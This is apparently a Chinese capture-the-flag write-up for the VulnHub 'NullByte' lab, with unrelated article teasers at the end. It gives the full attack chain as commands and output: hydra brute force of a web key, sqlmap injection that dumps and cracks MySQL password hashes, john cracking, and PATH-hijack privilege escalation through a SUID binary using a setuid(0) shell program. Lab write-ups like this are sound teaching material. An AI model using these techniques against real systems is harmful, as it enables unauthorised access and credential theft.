vulnhub(4):NullByte(hydra爆破、sql注入、path劫持提权、提权小tps)

端口

nmap主机发现
nmap -sn 192.168.236.0/24
​
Nmap scan report for 192.168.236.177
Host is up (0.00020s latency).
​
177是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.236.177 --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT        STATE       SERVICE
80/tcp      open        http
111/tcp     open        rpcbind   
777/tcp     open        ssh    
​
​
发现开放4个端口
nmap -sT -sC -sV -O -p22,80, -oA nmap/scan 192.168.236.177详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Null Byte 00 - level 1
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          41363/tcp6  status
|   100024  1          50826/tcp   status
|   100024  1          53666/udp   status
|_  100024  1          57231/udp6  status
777/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 163013d9d55536e81bb7d9ba552fd744 (DSA)
|   2048 29aa7d2e608ba6a1c2bd7cc8bd3cf4f2 (RSA)
|   256 6006e3648f8a6fa7745a8b3fe1249396 (ECDSA)
|_  256 bcf7448d796a194876a3e24492dc13a2 (ED25519)

立足点

查看网页,除了主页main.gif什么都没有,准备目录爆破

gobuster dir -u http://192.168.236.177/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html --add-slash
​
/.html/               (Status: 403) [Size: 296]
/.php/                (Status: 403) [Size: 295]
/icons/               (Status: 403) [Size: 296]
/uploads/             (Status: 200) [Size: 113]
/javascript/          (Status: 403) [Size: 301]
/phpmyadmin/          (Status: 200) [Size: 9123]
/.php/                (Status: 403) [Size: 295]
/.html/               (Status: 403) [Size: 296]
​
看下uploads和phpmyadmin,phpmyadmin是登录管理mysql页面,uploads只有个字符串Directory listing not allowed here.
​
uploads我也是用gobuster扫过,没什么敏感内容,phpmyadmin我使用sqlmap扫过没有sql注入

基本上信息收集完了,除了刚才看到的主页的main.gif

exiftools查看一下图片信息
​
ExifTool Version Number         : 12.49
File Name                       : main.gif
Directory                       : .
File Size                       : 17 kB
File Modification Date/Time     : 2015:08:02 00:39:30+08:00
File Access Date/Time           : 2024:09:10 20:55:26+08:00
File Inode Change Date/Time     : 2024:09:10 20:55:14+08:00
File Permissions                : -rw-r--r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
Megapixels                      : 0.071
​
发现comment下的kzMb5nVYJw敏感字符串
这个字符串登录ssh,phpmyadmin和网页目录都试一试,看看有没有新的内容
​
发现存在http://192.168.236.177/kzMb5nVYJw网页目录,下图是网页的全部内容

输入几个key,会出现invalid key,不知道要输入什么,拿hydra扫一下,使用rockyou字典

hydra -l none -P /usr/share/wordlists/rockyou.txt 192.168.236.177 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"
解析:-l表示要爆破的用户名-P表示要爆破的密码字典http-post-form 表示使用post爆破"/kzMb5nVYJw/index.php:key=^PASS^:invalid key":1.路径信息2.post数据以及^PASS^占位符3.返回的失败信息最后爆出了个elite可以成功跳到下一个页面

又是一个输入框,除了爆破就是sql注入,这次先试一试sql注入,爆破查一些用户名没太大渗透作用

sqlmap -u http://192.168.236.177/kzMb5nVYJw/420search.php?usrtosearch=1 -dbs -batch
​
发现存在注入,获取到mysql一些信息:
[21:15:35] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.5
[21:15:35] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] seth
​
使用sqlmap查一查库里的内容:
命令解析:-D mysql --tables:选定mysql库,查看其表-D mysql -T <thetable> --columns:选定mysql库,thetable表,查询表中有哪些字段-D mysql -T <thetable> --dump:选定mysql库,thetable表,显示出thetable表所有内容
大致按以上这些思路去查
​
sqlmap -u http://192.168.236.177/kzMb5nVYJw/420search.php?usrtosearch=1 -D mysql -T user -C User,Password --dump --batch
显示mysql库user表的User,Password字段发现如下信息,可以发现sqlmap自动破解了hash:
+------------------+-------------------------------------------------------+
| User             | Password                                              |
+------------------+-------------------------------------------------------+
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| debian-sys-maint | *BD9EDF51931EC5408154EBBB88AA01DA22B8A8DC             |
| phpmyadmin       | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
+------------------+-------------------------------------------------------+
这些信息是phpmyadmin登录凭据,不能使用ssh登录,既然我们有了sql注入能查询数据库所有内容,我们也不需要phpmyadmin的登录凭据了。
接着查询其他数据库的其他表
sqlmap -u http://192.168.236.177/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth -T users --dump-all
​
+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+
​
这个是个敏感信息,我们那他做一下破解
可以去网站https://hashes.com/en/decrypt/hash做破解,也可以使用john破解,在这里我们使用工具john
​
base64解密:
c6d6bd7ebf806f43c76acc3681703b81
​
md5破解:
echo c6d6bd7ebf806f43c76acc3681703b81 > md5_hash
john --format=raw-md5 md5_hash 
​
成功破解:omega
​
使用户名ramses登录ssh
ssh ramses@192.168.236.177 -p 777 

提权

信息枚举

cat /etc/passwd:查看用户
sudo -l :提示无权限
cat /etc/crontab:没有可利用的计划任务
find / -perm -u=s -type f 2>/dev/null:查看具有s位的程序
​
信息如下:
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/procmail
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/sbin/exim4
/var/www/backup/procwatch
/bin/su
/bin/mount
/bin/umount
/sbin/mount.nfs
​
​
看到有s位的程序:/var/www/backup 中运行名为 procwatch
存放在/var/www/backup目录下,看看有没有什么配置错误
​
运行./procwatch

./procwatch运行界面和ps查看进程的运行界面一样,推断./procwatch调用了ps这个命令

./procwatch调用ps会在环境变量中按顺序寻找,如果我们将它寻找ps的过程引导成我们的以ps为名恶意文件,那么我们就能够顺利提权
​
export PATH=.:$PATH
方法1:echo "/bin/sh" > ps
方法2:ln -s /bin/sh ps(创建一个/bin/sh的快捷方式)
方法3:编译c语言未ps可执行文件

tips

将/bin/sh改为/bin/bash发现提权不成功,新起的shell仍然是ramses用户,如下:
bash-4.3$ id
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
​
这是因为suid调用bash时,会判断ruid和euid是否相同
ruid:真实用户ID表示发起该进程的用户。
euid:称为有效用户 ID,它表示系统用来确定进程权限的用户身份。
​
如果不相同,他将以ruid发起该进程的用户也就是ramses权限执行
​
解决方案:在调用/bin/bash前使用setuid(0)设置调用ruid为root用户
如下是调用setuid(0)和未调用的对比实验,将他们编译为ps,运行./procwatch
int main()
{int euid,ruid;ruid = getuid();euid = geteuid();printf("ruid=%d\neuid=%d",ruid,euid);setuid(0);ruid = getuid();printf("new_ruid=%d\n",ruid);system("/bin/bash");
​return 0;
}
​
​
ruid=1002
euid=0new_ruid=0
root@NullByte:/var/www/backup# id
uid=0(root) gid=1002(ramses) groups=1002(ramses)
#include <stdio.h>
int main()
{int euid,ruid;ruid = getuid();euid = geteuid();printf("ruid=%d\neuid=%d",ruid,euid);printf("ruid=%d\n",ruid);system("/bin/bash");
​return 0;
}
​
ruid=1002
euid=0ruid=1002
bash-4.3$ id
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
​
这里可以看到euid=0ruid=1002不相同,按照ruid调用者身份执行

/bin/bash在调用的时候,会判断当前bash进程的ruid和suid,若不同则降权
而/bin/sh是原始轻量级的shell不会像/bin/bash主动降权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/143805.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

编制数据分析报表的关键步骤,这篇文章为你详细解析

在当今数据驱动的时代&#xff0c;数据分析报表成为了企业决策中不可或缺的工具。它不仅可以帮助我们清晰地展现数据&#xff0c;还能揭示数据背后的趋势与问题&#xff0c;为管理者提供有力的支持。那么&#xff0c;如何编制一份高效、准确的数据分析报表呢&#xff1f;本文将…

运行容器应用

kubernetes通过各种controller来管理pod的生命周期&#xff0c;为了满足不同的业务场景&#xff0c;kubernetes开发了Deployment&#xff0c;ReplicaSet&#xff0c;DaemonSet&#xff0c;StatefulSet&#xff0c;Job等多种ControllerDeployment&#xff1a; kubectl run nginx…

TypeScript入门 (二)控制语句

引言 大家好&#xff0c;我是GISer Liu&#x1f601;&#xff0c;一名热爱AI技术的GIS开发者。本系列文章是我跟随DataWhale 2024年9月学习赛的TypeScript学习总结文档。本文主要讲解TypeScript中控制语句的部分&#xff1b;希望通过我的知识点总结&#xff0c;能够帮助你更好地…

STM32MP157/linux驱动学习记录(二)

38.Linux INPUT 子系统实验 按键、鼠标、键盘、触摸屏等都属于输入(input)设备&#xff0c;Linux 内核为此专门做了一个叫做 input子系统的框架来处理输入事件。输入设备本质上还是字符设备&#xff0c;只是在此基础上套上了 input 框架&#xff0c;用户只需要负责上报输入事件…

Sapiens——人类视觉大模型的基础

引言 大规模预训练以及随后针对特定任务的语言建模微调取得了显著成功&#xff0c;已将这种方法确立为标准做法。同样&#xff0c; 计算机视觉方法正逐步采用大规模数据进行预训练。LAION5B、Instagram-3.5B、JFT-300M、LVD142M、Visual Genome 和 YFCC100M 等大型数据集的出现…

管道缺陷检测系统源码分享

管道缺陷检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vis…

【2024】前端学习笔记7-颜色-位置-字体设置

学习笔记 1.定义&#xff1a;css2.颜色&#xff1a;color3.字体相关属性&#xff1a;font3.1.字体大小&#xff1a;font-size3.2.字体风格&#xff1a;font - style3.3.字体粗细&#xff1a;font - weight3.4.字体族&#xff1a;font - family 4.位置&#xff1a;text-align 1.…

Springboot与minio:

一、介绍 Minio是一个简单易用的云存储服务&#xff0c;它让你可以轻松地把文件上传到互联网上&#xff0c;这样无论你在哪里&#xff0c;只要有网络&#xff0c;就能访问或分享这些文件。如果你想要从这个仓库里取出一张图片或一段视频&#xff0c;让网站的访客能看到或者下载…

火狐浏览器同源策略禁止解决方案

Firefox火狐浏览器控制台,提示:已拦截跨源请求&#xff1a;同源策略禁止读取位于 http://127.0.0.1:5000/test.zip 的远程资源。&#xff08;原因&#xff1a;CORS 头缺少 Access-Control-Allow-Origin&#xff09;。状态码&#xff1a;200。 前言全局说明 Firefox火狐浏览器控…

图片文字翻译怎么快速翻译?5个软件教你快速进行图片文字翻译

图片文字翻译怎么快速翻译&#xff1f;5个软件教你快速进行图片文字翻译 图片文字翻译是日常工作和生活中常见的需求&#xff0c;尤其是在处理外文资料或旅游时。以下5款优秀的软件可以帮助你轻松、快速地将图片中的文字进行翻译&#xff0c;让你不再依赖手动输入和繁琐操作。…

Python燃烧废气排放推断算法模型

&#x1f3af;要点 宏观能耗场景模型参数化输入数据&#xff0c;分析可视化输出结果&#xff0c;使用场景时间序列数据模型及定量和定性指标使用线图和箱线图、饼图、散点图、堆积条形图、桑基图等可视化模型输出结果根据气体排放过程得出其时间序列关系&#xff0c;使用推断模…

镀金引线---

一、沉金和镀金 沉金和镀金都是常见的PCB金手指处理方式&#xff0c;它们各有优劣势&#xff0c;选择哪种方式取决于具体的应用需求和预算。 沉金&#xff08;ENIG&#xff09;是一种常用的金手指处理方式&#xff0c;它通过在金手指表面沉积一层金层来提高接触性能和耐腐蚀性…

链条缺陷检测系统源码分享

链条缺陷检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vis…

Java-数据结构-优先级队列(堆)-(一) (;´д`)ゞ

文本目录&#xff1a; ❄️一、优先级队列&#xff1a; ➷ 1、概念&#xff1a; ❄️二、优先级队列的模拟实现&#xff1a; ➷ 1、堆的概念&#xff1a; ➷ 2、堆的性质&#xff1a; ➷ 3、堆的创建&#xff1a; ▶ 向下调整&#xff1a; ➷ 4、堆的插入和删除&#xff1a; …

Linux权限管理: 文件访问者分类、文件类型和访问权限、权限值的表示方法、文件访问权限的相关设置方法、umask、目录的权限、粘滞位等的介绍

文章目录 前言一、文件访问者分类二、文件类型和访问权限1. 文件类型2. 基本权限 三、权限值的表示方法1. 字符表示方法2. 8进制数值表示方法 四、文件访问权限的相关设置方法1. chmod2. chown3. chgrp 五、 umask六、目录的权限七、粘滞位总结 前言 Linux权限管理&#xff1a…

论文不会写?分享6款AI论文写作免费一键生成网站!

在当今学术研究和写作领域&#xff0c;AI论文写作工具的出现极大地提高了写作效率和质量。这些工具不仅能够帮助研究人员快速生成论文草稿&#xff0c;还能进行内容优化、查重和排版等操作。本文将分享6款免费一键生成AI论文写作网站&#xff0c;并重点推荐千笔-AIPassPaper。 …

鸿蒙OpenHarmony【轻量系统芯片移植】物联网解决方案之芯海cst85芯片移植案例

物联网解决方案之芯海cst85芯片移植案例 本文介绍基于芯海cst85芯片的cst85_wblink开发板移植OpenHarmony LiteOS-M轻量系统的移植案例。开发了Wi-Fi连接样例和XTS测试样例&#xff0c;同时实现了wifi_lite, lwip, startup, utils, xts, hdf等部件基于OpenHarmony LiteOS-M内核…

初学者如何快速入门大语言模型(LLM)?

初学者如何快速入门大语言模型&#xff08;LLM&#xff09; 知乎大佬已给出了比较合理的方案&#xff0c;小白千万别走弯路了&#xff0c;下面给大家梳理和解读&#xff1a; 技术要求&#xff1a;要入门大语言模型&#xff0c;需要掌握以下基本技术&#xff1a; 开发语言&…

模拟实现string类: clear函数、流提取(<<)和流插入(>>)运算符重载、>、<、==、<=、>=、!=的运算符重载、赋值运算符(=)重载等的介绍

文章目录 前言一、 clear函数二、流提取(<<)和流插入(>>)运算符重载三、 >、<、、<、>、!的运算符重载四、赋值运算符&#xff08;&#xff09;重载总结 前言 模拟实现string类: clear函数、流提取(<<)和流插入(>>)运算符重载、>、<…

上线跨境电商商城的步骤

上线一个跨境电商商城涉及多个步骤&#xff0c;从前期准备到上线后的维护。以下是一些关键步骤&#xff1a; 1. 市场调研与规划 目标市场分析&#xff1a;研究目标市场的需求、竞争对手和消费者行为。法律法规&#xff1a;了解并遵守目标市场的法律法规&#xff0c;包括税收、…